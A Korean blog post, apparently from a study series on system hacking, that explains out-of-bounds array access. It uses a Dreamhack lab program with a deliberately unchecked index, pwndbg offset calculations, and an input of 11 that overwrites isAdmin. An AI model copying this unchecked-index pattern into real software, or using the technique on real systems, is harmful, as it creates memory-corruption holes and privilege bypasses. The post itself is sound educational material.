Out of Bounds (OOB)

buaii·2024년 6월 25일
0

System Hacking

목록 보기
10/11

Out of Bounds

OOB는 인덱스 값이 음수거나 배열의 길이를 초과할 때 발생한다.
개발자가 인덱스 값에 대한 검사를 명시하지 않고, 사용자가 인덱스 값을 임의로 설정할 수 있다면 배열의 주소로부터 특정 오프셋에 있는 메모리의 값을 참조할 수 있습니다.

// Name: oob_write.c
// Compile: gcc -o oob_write oob_write.c

#include <stdio.h>
#include <stdlib.h>

struct Student {
  long attending;
  char *name;
  long age;
};

struct Student stu[10];
int isAdmin;

int main() {
  unsigned int idx;

  // Exploit OOB to read the secret
  puts("Who is present?");
  printf("(1-10)> ");
  scanf("%u", &idx);

  stu[idx - 1].attending = 1;

  if (isAdmin) printf("Access granted.\n");
  return 0;
}

dreamhack 강의의 예제문제다
코드의 마지막 부분을 보면 isAdmin이 참인지 체크하는 부분이 있다

pwndbg> i var isAdmin
Non-debugging symbols:
0x0000000000201130  isAdmin
pwndbg> i var stu
Non-debugging symbols:
0x0000000000201040  stu
pwndbg> print 0x201130-0x201040
$1 = 240

isAdmin에 접근하려면 stu에서 240byte만큼 떨어진 곳에 접근하면 된다
즉, stu[10]에 접근한다면 isAdmin의 값을 1로 바꿀 수 있다.

$ ./oob_write
Who is present?
(1-10)> 11
Access granted.

이렇게 인덱스값을 이용해서 다른 주소에 접근하는 것을 OOB라고 한다

profile
buaii

0개의 댓글

관련 채용 정보